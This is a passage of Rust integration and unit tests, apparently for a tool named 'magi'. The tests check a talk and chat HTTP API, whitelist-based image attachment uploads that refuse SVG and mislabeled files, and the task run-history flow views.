16918                &format!("/api/talks/{id}/pending/edit"),
16919                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16920            )
16921            .await;
16922        assert_eq!(edited.status, 200, "{}", edited.body);
16923        assert!(edited.json()["thinking"].as_bool().unwrap());
16924
16925        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16926        for _ in 0..SETTLE_STEPS {
16927            if detail["turns"].as_array().expect("turns").len() == 2 {
16928                break;
16929            }
16930            tokio::time::sleep(Duration::from_millis(10)).await;
16931            detail = f.get(&format!("/api/talks/{id}")).await.json();
16932        }
16933        let turns = detail["turns"].as_array().expect("turns");
16934        assert_eq!(
16935            turns.len(),
16936            2,
16937            "the recovered draft must run once: {detail}"
16938        );
16939        assert_eq!(turns[0]["body"], "corrected");
16940        assert_eq!(detail["pending"], "");
16941    }
16942
16943    #[tokio::test]
16944    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16945        let tmp = TempDir::new().expect("tempdir");
16946        let repo = tmp.path().join("repo");
16947        std::fs::create_dir_all(&repo).expect("repo dir");
16948        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16949        let f = Fixture::with_repo(repo).await;
16950        let id = f.post("/api/talks", None).await.json()["id"]
16951            .as_str()
16952            .expect("id")
16953            .to_owned();
16954        let store = f.talks();
16955        let mut recovered = store.get(&id).expect("opened talk");
16956        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16957            .expect("persist pending draft without a live turn");
16958
16959        let refused = f
16960            .post(
16961                &format!("/api/talks/{id}/say"),
16962                Some(r#"{"text":"new message"}"#),
16963            )
16964            .await;
16965        assert_eq!(refused.status, 409, "{}", refused.body);
16966        assert!(refused.body.contains("resume"), "{}", refused.body);
16967        let saved = store.get(&id).expect("draft remains after refusal");
16968        assert!(saved.turns.is_empty());
16969        assert_eq!(saved.pending, "saved before restart");
16970
16971        let say_path = format!("/api/talks/{id}/say");
16972        let (first, second) = tokio::join!(
16973            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16974            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16975        );
16976        assert_eq!(first.status, 409, "{}", first.body);
16977        assert_eq!(second.status, 409, "{}", second.body);
16978        let saved = store
16979            .get(&id)
16980            .expect("draft remains after concurrent refusals");
16981        assert!(saved.turns.is_empty());
16982        assert_eq!(saved.pending, "saved before restart");
16983
16984        let resumed = f
16985            .post(&format!("/api/talks/{id}/pending/resume"), None)
16986            .await;
16987        assert_eq!(resumed.status, 202, "{}", resumed.body);
16988        let duplicate = f
16989            .post(&format!("/api/talks/{id}/pending/resume"), None)
16990            .await;
16991        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16992
16993        for _ in 0..SETTLE_STEPS {
16994            if store.get(&id).expect("talk").turns.len() == 2 {
16995                break;
16996            }
16997            tokio::time::sleep(Duration::from_millis(10)).await;
16998        }
16999        let finished = store.get(&id).expect("finished talk");
17000        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17001        assert_eq!(finished.turns[0].body, "saved before restart");
17002        assert!(finished.pending.is_empty());
17003    }
17004
17005    #[tokio::test]
17006    async fn an_image_only_recovered_draft_resumes_without_text() {
17007        let (_tmp, _repo, f) = talk_fixture().await;
17008        let id = f.post("/api/talks", None).await.json()["id"]
17009            .as_str()
17010            .expect("id")
17011            .to_owned();
17012        let uploaded = f
17013            .post_bytes(
17014                &format!("/api/talks/{id}/attachments"),
17015                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
17016                PNG_BYTES,
17017            )
17018            .await;
17019        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17020        let attachment = f
17021            .talks()
17022            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
17023            .expect("attachment metadata")
17024            .expect("stored attachment");
17025        let store = f.talks();
17026        let mut recovered = store.get(&id).expect("opened talk");
17027        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
17028
17029        let resumed = f
17030            .post(&format!("/api/talks/{id}/pending/resume"), None)
17031            .await;
17032        assert_eq!(resumed.status, 202, "{}", resumed.body);
17033        for _ in 0..SETTLE_STEPS {
17034            if store.get(&id).expect("talk").turns.len() == 2 {
17035                break;
17036            }
17037            tokio::time::sleep(Duration::from_millis(10)).await;
17038        }
17039        let finished = store.get(&id).expect("finished talk");
17040        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17041        assert!(finished.turns[0].body.is_empty());
17042        assert_eq!(finished.turns[0].attachments.len(), 1);
17043        assert!(finished.pending_attachments.is_empty());
17044    }
17045
17046    #[tokio::test]
17047    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17048        let (_tmp, _repo, f) = talk_fixture().await;
17049        let id = f.post("/api/talks", None).await.json()["id"]
17050            .as_str()
17051            .expect("id")
17052            .to_owned();
17053        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17054        assert_eq!(closed.status, 200, "{}", closed.body);
17055        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17056            .expect("serialize closed talk");
17057        for (path, body) in [
17058            (format!("/api/talks/{id}/pending/resume"), None),
17059            (
17060                format!("/api/talks/{id}/pending/clear"),
17061                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17062            ),
17063            (
17064                format!("/api/talks/{id}/pending/edit"),
17065                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17066            ),
17067            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17068        ] {
17069            let response = f.post(&path, body).await;
17070            assert_eq!(response.status, 409, "{}", response.body);
17071        }
17072        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17073            .expect("serialize closed talk");
17074        assert_eq!(
17075            after_clear, before_clear,
17076            "clear must not rewrite a closed talk"
17077        );
17078    }
17079
17080    /// Keeps both claims observable long enough to exercise the distinction
17081    /// between one busy talk and a globally locked Chat surface.
17082    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17083
17084    #[tokio::test]
17085    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17086        let tmp = TempDir::new().expect("tempdir");
17087        let repo = tmp.path().join("repo");
17088        std::fs::create_dir_all(&repo).expect("repo dir");
17089        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17090        let f = Fixture::with_repo(repo).await;
17091        let id_a = f.post("/api/talks", None).await.json()["id"]
17092            .as_str()
17093            .unwrap()
17094            .to_owned();
17095        let id_b = f.post("/api/talks", None).await.json()["id"]
17096            .as_str()
17097            .unwrap()
17098            .to_owned();
17099
17100        let a = f
17101            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17102            .await;
17103        assert_eq!(a.status, 202, "{}", a.body);
17104        assert_eq!(a.json()["thinking"], true);
17105        let b = f
17106            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17107            .await;
17108        assert_eq!(b.status, 202, "{}", b.body);
17109        assert_eq!(b.json()["thinking"], true);
17110
17111        let listed = f.get("/api/talks").await.json();
17112        for id in [&id_a, &id_b] {
17113            let view = listed
17114                .as_array()
17115                .unwrap()
17116                .iter()
17117                .find(|talk| talk["id"] == *id)
17118                .unwrap();
17119            assert_eq!(view["thinking"], true, "{listed}");
17120        }
17121        let repeated = f
17122            .post(
17123                &format!("/api/talks/{id_a}/say"),
17124                Some(r#"{"text":"again"}"#),
17125            )
17126            .await;
17127        assert_eq!(repeated.status, 202, "{}", repeated.body);
17128        assert_eq!(repeated.json()["pending"], "again");
17129    }
17130
17131    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17132    /// few more, since real uploads are never exactly eight bytes.
17133    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17134
17135    #[tokio::test]
17136    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17137        let f = Fixture::start().await;
17138        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17139
17140        let res = f
17141            .post_bytes(
17142                &format!("/api/talks/{id}/attachments"),
17143                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17144                PNG_BYTES,
17145            )
17146            .await;
17147        assert_eq!(res.status, 201, "{}", res.body);
17148        let body = res.json();
17149        assert_eq!(body["name"], "shot.png");
17150        assert_eq!(body["mime"], "image/png");
17151        assert_eq!(body["bytes"], PNG_BYTES.len());
17152        let att_id = body["id"].as_str().expect("id").to_owned();
17153        assert_eq!(
17154            att_id.len(),
17155            32,
17156            "the id must never be a client-suppliable path: {att_id}"
17157        );
17158
17159        let got = f
17160            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17161            .await;
17162        assert_eq!(got.status, 200, "{}", got.body);
17163        assert_eq!(got.header("content-type"), Some("image/png"));
17164        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17165        assert_eq!(got.bytes, PNG_BYTES);
17166    }
17167
17168    #[tokio::test]
17169    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17170        let f = Fixture::start().await;
17171        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17172
17173        // SVG can carry a `<script>`, so it is never on the whitelist even
17174        // though it is a real IANA image type.
17175        let svg = f
17176            .post_bytes(
17177                &format!("/api/talks/{id}/attachments"),
17178                &[("Content-Type", "image/svg+xml")],
17179                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17180            )
17181            .await;
17182        assert!(
17183            (400..500).contains(&svg.status),
17184            "svg must be refused: {} {}",
17185            svg.status,
17186            svg.body
17187        );
17188        assert!(svg.body.contains("SVG"), "{}", svg.body);
17189
17190        let text = f
17191            .post_bytes(
17192                &format!("/api/talks/{id}/attachments"),
17193                &[("Content-Type", "text/plain")],
17194                b"just some text",
17195            )
17196            .await;
17197        assert!(
17198            (400..500).contains(&text.status),
17199            "an unlisted type must be refused: {} {}",
17200            text.status,
17201            text.body
17202        );
17203
17204        // The declared type is a real png, but the size check runs before
17205        // the bytes are even looked at.
17206        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17207        let big = f
17208            .post_bytes(
17209                &format!("/api/talks/{id}/attachments"),
17210                &[("Content-Type", "image/png")],
17211                &oversized,
17212            )
17213            .await;
17214        assert_eq!(
17215            big.status,
17216            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17217            "{}",
17218            big.body
17219        );
17220    }
17221
17222    #[tokio::test]
17223    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17224        let f = Fixture::start().await;
17225        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17226
17227        // A whitelisted `Content-Type`, but bytes that are not actually a
17228        // png - the declared header alone is never trusted.
17229        let res = f
17230            .post_bytes(
17231                &format!("/api/talks/{id}/attachments"),
17232                &[("Content-Type", "image/png")],
17233                b"<html>not a picture</html>",
17234            )
17235            .await;
17236        assert!((400..500).contains(&res.status), "{}", res.body);
17237    }
17238
17239    #[tokio::test]
17240    async fn an_unknown_attachment_id_is_a_404() {
17241        let f = Fixture::start().await;
17242        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17243
17244        let res = f
17245            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17246            .await;
17247        assert_eq!(res.status, 404, "{}", res.body);
17248    }
17249
17250    #[tokio::test]
17251    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17252        let f = Fixture::start().await;
17253        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17254
17255        let uploaded = f
17256            .post_bytes(
17257                &format!("/api/talks/{id}/attachments"),
17258                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17259                PNG_BYTES,
17260            )
17261            .await;
17262        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17263        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17264
17265        let res = f
17266            .post(
17267                &format!("/api/talks/{id}/say"),
17268                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17269            )
17270            .await;
17271        assert_eq!(res.status, 202, "{}", res.body);
17272        let queued = res.json();
17273        let turns = queued["turns"].as_array().expect("turns array");
17274        assert_eq!(
17275            turns.len(),
17276            1,
17277            "an empty body with an attachment is still a turn: {queued}"
17278        );
17279        assert_eq!(turns[0]["who"], "operator");
17280        assert_eq!(turns[0]["body"], "");
17281        let atts = turns[0]["attachments"]
17282            .as_array()
17283            .expect("attachments array");
17284        assert_eq!(atts.len(), 1);
17285        assert_eq!(atts[0]["id"], att_id);
17286        assert_eq!(atts[0]["mime"], "image/png");
17287
17288        // Not only in the response: `record` flushes to disk before the
17289        // agent's own turn is even spawned.
17290        let on_disk = f.talks().get(&id).expect("get");
17291        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17292        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17293    }
17294
17295    #[tokio::test]
17296    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17297        let f = Fixture::start().await;
17298        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17299
17300        let res = f
17301            .post(
17302                &format!("/api/talks/{id}/say"),
17303                Some(&format!(
17304                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17305                    "a".repeat(32)
17306                )),
17307            )
17308            .await;
17309        assert!((400..500).contains(&res.status), "{}", res.body);
17310        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17311
17312        let on_disk = f.talks().get(&id).expect("get");
17313        assert!(
17314            on_disk.turns.is_empty(),
17315            "a rejected attachment id must not partially record the turn: {:?}",
17316            on_disk.turns
17317        );
17318    }
17319
17320    #[tokio::test]
17321    async fn talk_close_makes_the_talk_refuse_further_turns() {
17322        let f = Fixture::start().await;
17323        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17324
17325        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17326        assert_eq!(closed.status, 200, "{}", closed.body);
17327        assert_eq!(closed.json()["status"], "closed");
17328
17329        // Idempotent: closing an already-closed talk is not an error.
17330        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17331        assert_eq!(closed_again.status, 200);
17332        assert_eq!(closed_again.json()["status"], "closed");
17333
17334        let said = f
17335            .post(
17336                &format!("/api/talks/{id}/say"),
17337                Some(r#"{"text":"too late"}"#),
17338            )
17339            .await;
17340        assert_eq!(said.status, 409, "{}", said.body);
17341    }
17342
17343    #[tokio::test]
17344    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17345        let f = Fixture::start().await;
17346        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17347        let store = f.talks();
17348        let mut queued = store.get(&id).expect("talk");
17349        for automatic in [false, true] {
17350            if automatic {
17351                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17352                    .expect("queue automatic input");
17353            } else {
17354                talk::queue(&mut queued, &store, "queued send", Vec::new())
17355                    .expect("queue operator input");
17356            }
17357            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17358            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17359            assert_eq!(refused.status, 409, "{}", refused.body);
17360            assert!(refused.body.contains("pending input"), "{}", refused.body);
17361            assert_eq!(
17362                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17363                before,
17364                "a close refusal must preserve the entire record"
17365            );
17366            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17367        }
17368        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17369        assert_eq!(closed.status, 200, "{}", closed.body);
17370        assert_eq!(closed.json()["status"], "closed");
17371    }
17372
17373    #[tokio::test]
17374    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17375        let (_tmp, _repo, f) = talk_fixture().await;
17376        let id = f.post("/api/talks", None).await.json()["id"]
17377            .as_str()
17378            .expect("id")
17379            .to_owned();
17380        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17381        assert_eq!(closed.status, 200, "{}", closed.body);
17382
17383        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17384        assert_eq!(reopened.status, 200, "{}", reopened.body);
17385        assert_eq!(reopened.json()["status"], "open");
17386
17387        // Idempotent: reopening an already-open talk is not an error.
17388        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17389        assert_eq!(reopened_again.status, 200);
17390        assert_eq!(reopened_again.json()["status"], "open");
17391
17392        let said = f
17393            .post(
17394                &format!("/api/talks/{id}/say"),
17395                Some(r#"{"text":"still there?"}"#),
17396            )
17397            .await;
17398        assert_eq!(
17399            said.status, 202,
17400            "a reopened talk accepts turns again: {}",
17401            said.body
17402        );
17403    }
17404
17405    #[tokio::test]
17406    async fn talk_reopen_on_an_unknown_id_is_404() {
17407        let f = Fixture::start().await;
17408        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17409        assert_eq!(res.status, 404, "{}", res.body);
17410    }
17411
17412    #[tokio::test]
17413    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17414        let f = Fixture::start().await;
17415        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17416
17417        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17418        assert_eq!(deleted.status, 204, "{}", deleted.body);
17419
17420        let after = f.get(&format!("/api/talks/{id}")).await;
17421        assert_eq!(after.status, 404, "{}", after.body);
17422
17423        let listed = f.get("/api/talks").await.json();
17424        assert!(
17425            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17426            "a deleted talk must not linger in the list: {listed}"
17427        );
17428    }
17429
17430    #[tokio::test]
17431    async fn talk_delete_on_an_unknown_id_is_404() {
17432        let f = Fixture::start().await;
17433        let res = f.delete("/api/talks/nonexistent-id").await;
17434        assert_eq!(res.status, 404, "{}", res.body);
17435    }
17436
17437    /// A task's page lists every run it ever had, in order, and says what kind
17438    /// of attempt each was - including a resume, which re-pushes the same run
17439    /// id, and a run whose record this build cannot read.
17440    #[tokio::test]
17441    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17442        let f = Fixture::start().await;
17443        let (a, b, gone) = (
17444            "20260902-140501-aaaa",
17445            "20260902-140502-bbbb",
17446            "20260902-140503-cccc",
17447        );
17448        write_run(&f.runs(), a, RunStatus::Stalled);
17449        let mut review = RunState::new(
17450            PathBuf::from("/repo/magi"),
17451            "main".to_owned(),
17452            "0123456789abcdef".to_owned(),
17453            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17454                .to_owned(),
17455            Config::default(),
17456        );
17457        review.id = b.to_owned();
17458        review.status = RunStatus::Merged;
17459        write_state(&f.runs(), &review);
17460
17461        let mut task = Task::new(
17462            "retry".to_owned(),
17463            "Do the thing".to_owned(),
17464            PathBuf::from("/repo/magi"),
17465            Source::Human,
17466        );
17467        task.start(a.to_owned());
17468        task.stall("quota");
17469        task.start(a.to_owned());
17470        task.start(b.to_owned());
17471        task.start(gone.to_owned());
17472        // This fixture models an older queue file with repeated run entries.
17473        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17474        f.queue().put(&mut task).expect("file the task");
17475
17476        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17477        assert_eq!(res.status, 200, "{}", res.body);
17478        let v = res.json();
17479        let h = v["history"].as_array().expect("history");
17480        assert_eq!(h.len(), 4, "{v}");
17481        assert_eq!(h[0]["kind"], "competition");
17482        assert_eq!(h[0]["status"], "stalled");
17483        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17484        assert_eq!(h[1]["kind"], "resume", "{v}");
17485        assert!(
17486            h[0]["outcome"]
17487                .as_str()
17488                .unwrap()
17489                .contains("unknown. Pass #2"),
17490            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17491        );
17492        assert!(
17493            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17494            "{v}"
17495        );
17496        assert!(
17497            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17498            "an unrecorded cause must not be narrated as an operator park: {v}"
17499        );
17500        assert_eq!(h[2]["kind"], "review");
17501        assert!(
17502            h[2]["description"]
17503                .as_str()
17504                .unwrap()
17505                .contains("magi/aaaa/A")
17506        );
17507        assert_eq!(h[2]["status"], "merged");
17508        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17509        assert_eq!(v["runs_unreadable"], 1);
17510        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17511        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17512        assert_eq!(nodes[4]["note"], "unreadable");
17513        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17514        assert_eq!(v["instruction"], "Do the thing");
17515        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17516
17517        // The run's own page links back to the task.
17518        let run = f.get(&format!("/api/runs/{a}")).await.json();
17519        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17520
17521        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17522    }
17523
17524    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17525        let mut s = RunState::new(
17526            PathBuf::from("/repo/magi"),
17527            "main".to_owned(),
17528            "0123456789abcdef".to_owned(),
17529            "Do it".to_owned(),
17530            Config::default(),
17531        );
17532        s.status = status;
17533        edit(&mut s);
17534        s
17535    }
17536
17537    fn flow_task(runs: &[&str]) -> Task {
17538        let mut t = Task::new(
17539            "t".to_owned(),
17540            "Do it".to_owned(),
17541            PathBuf::from("/repo/magi"),
17542            Source::Human,
17543        );
17544        for r in runs {
17545            t.start((*r).to_owned());
17546        }
17547        // Synthetic flows without RunPass records model legacy queue data.
17548        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17549        t
17550    }
17551
17552    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17553        let h = task_history(task, |id| {
17554            states
17555                .iter()
17556                .find(|(i, _)| *i == id)
17557                .and_then(|(_, s)| s.clone())
17558        });
17559        task_flow(task, &h, 5, None)
17560    }
17561
17562    #[test]
17563    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17564        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17565        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17566        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17567        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17568        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17569        let run = flow_run(RunStatus::Implementing, |s| {
17570            s.created_at = created;
17571            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17572            s.passes[0].started_at = first;
17573            s.passes[1].started_at = resumed;
17574        });
17575        let mut task = flow_task(&[RUN_X, RUN_X]);
17576        task.created_at = queued;
17577        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17578        task.status = TaskStatus::Held;
17579        task.held_at = Some(held);
17580        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17581        assert_eq!(
17582            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17583            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17584        );
17585        assert!(flow.nodes.iter().all(|n| n.time_expected));
17586        let json = serde_json::to_value(&flow).unwrap();
17587        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17588        assert_eq!(json["nodes"][2]["time_expected"], true);
17589    }
17590
17591    #[test]
17592    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17593        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17594        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17595        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17596        // These timestamps are not the start of the current status.
17597        task.held_at = Some(created);
17598        task.blocked_at = Some(created);
17599        for status in [
17600            TaskStatus::Queued,
17601            TaskStatus::Running,
17602            TaskStatus::Blocked,
17603            TaskStatus::Done,
17604            TaskStatus::Failed,
17605            TaskStatus::Parked,
17606            TaskStatus::Held,
17607        ] {
17608            task.status = status;
17609            if status == TaskStatus::Held {
17610                task.held_at = None;
17611            }
17612            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17613            assert_eq!(flow.nodes[1].started_at, Some(created));
17614            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17615            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17616            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17617            let json = serde_json::to_value(&flow).unwrap();
17618            assert!(json["nodes"][3]["started_at"].is_null());
17619            assert_eq!(json["nodes"][3]["time_expected"], true);
17620        }
17621    }
17622
17623    #[test]
17624    fn flow_context_links_do_not_expect_start_times() {
17625        let mut task = flow_task(&[]);
17626        task.source = Source::Agent {
17627            run: "chat-id".to_owned(),
17628            node: "chat".to_owned(),
17629        };
17630        let origin = followup_origin(&fu(None), |_| None, |_| None);
17631        let flow = task_flow(&task, &[], 5, Some(&origin));
17632        for node in &flow.nodes[..2] {
17633            assert!(!node.time_expected);
17634            assert_eq!(node.started_at, None);
17635        }
17636        assert!(flow.nodes[2].time_expected);
17637    }
17638
17639    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17640        crate::queue::FollowUp {
17641            run: "20260901-000000-aaaa".to_owned(),
17642            origin_task: origin_task.map(str::to_owned),
17643            pr: "https://example.com/o/r/pull/1".to_owned(),
17644            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17645                .map(str::to_owned)
17646                .to_vec(),
17647            generation: 1,
17648        }
17649    }
17650
17651    fn parent_task() -> Task {
17652        let mut p = flow_task(&[]);
17653        p.title = "Parent title".to_owned();
17654        p.status = TaskStatus::Done;
17655        p
17656    }
17657
17658    #[test]
17659    fn flow_opens_with_the_parent_task_of_a_followup() {
17660        let p = parent_task();
17661        let pid = p.id.clone();
17662        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17663        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17664        let n = &f.nodes[0];
17665        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17666        assert_eq!(
17667            n.label,
17668            format!("Follow-up of {}", crate::queue::short(&pid))
17669        );
17670        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17671        assert_eq!(n.status, Some("done"));
17672        assert_eq!(n.status_of, "task");
17673        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17674        assert_eq!(f.nodes[1].key, "start");
17675        assert_eq!(f.edges[0].from, "origin");
17676        assert_eq!(
17677            f.edges[0].label,
17678            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17679        );
17680    }
17681
17682    #[test]
17683    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17684        let o = followup_origin(
17685            &fu(Some("gone")),
17686            |_| None,
17687            |_| {
17688                Some(RunState::new(
17689                    std::path::PathBuf::from("."),
17690                    "main".to_owned(),
17691                    "0".to_owned(),
17692                    "t".to_owned(),
17693                    crate::config::Config::default(),
17694                ))
17695            },
17696        );
17697        assert!(o.parent.is_none());
17698        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17699        let n = &f.nodes[0];
17700        assert_eq!(n.status_of, "run");
17701        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17702        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17703    }
17704
17705    #[test]
17706    fn flow_followup_with_nothing_readable_has_no_link() {
17707        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17708        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17709        let n = &f.nodes[0];
17710        assert_eq!(n.href, None);
17711        assert_eq!(n.note, Some("unreadable"));
17712        assert!(!n.readable);
17713    }
17714
17715    #[test]
17716    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17717        let o = followup_origin(&fu(None), |_| None, |_| None);
17718        let mut t = flow_task(&[]);
17719        t.origin_chat = Some("c1".to_owned());
17720        let f = task_flow(&t, &[], 5, Some(&o));
17721        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17722        t.source = Source::Agent {
17723            run: "c1".to_owned(),
17724            node: crate::queue::CHAT_NODE.to_owned(),
17725        };
17726        let f = task_flow(&t, &[], 5, Some(&o));
17727        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17728        assert_eq!(
17729            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17730            ("chat", "origin")
17731        );
17732    }
17733
17734    #[test]
17735    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17736        let mut p = parent_task();
17737        p.id = "a b/c".to_owned();
17738        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17739        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17740    }
17741
17742    #[test]
17743    fn flow_opens_with_the_chat_that_queued_the_task() {
17744        let mut t = flow_task(&[]);
17745        t.source = Source::Agent {
17746            run: "a b/c".to_owned(),
17747            node: crate::queue::CHAT_NODE.to_owned(),
17748        };
17749        t.issue = Some(crate::queue::IssueRef {
17750            number: 3,
17751            repo: "o/r".into(),
17752        });
17753        let view = TaskView::from(t.clone());
17754        assert!(view.source_label.contains("issue #3"));
17755        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17756        let f = flow_for(&t, &[]);
17757        assert_eq!(f.nodes[0].key, "chat");
17758        assert_eq!(f.nodes[0].kind, "chat");
17759        assert_eq!(
17760            f.nodes[0].label,
17761            format!("Chat {}", crate::queue::short("a b/c"))
17762        );
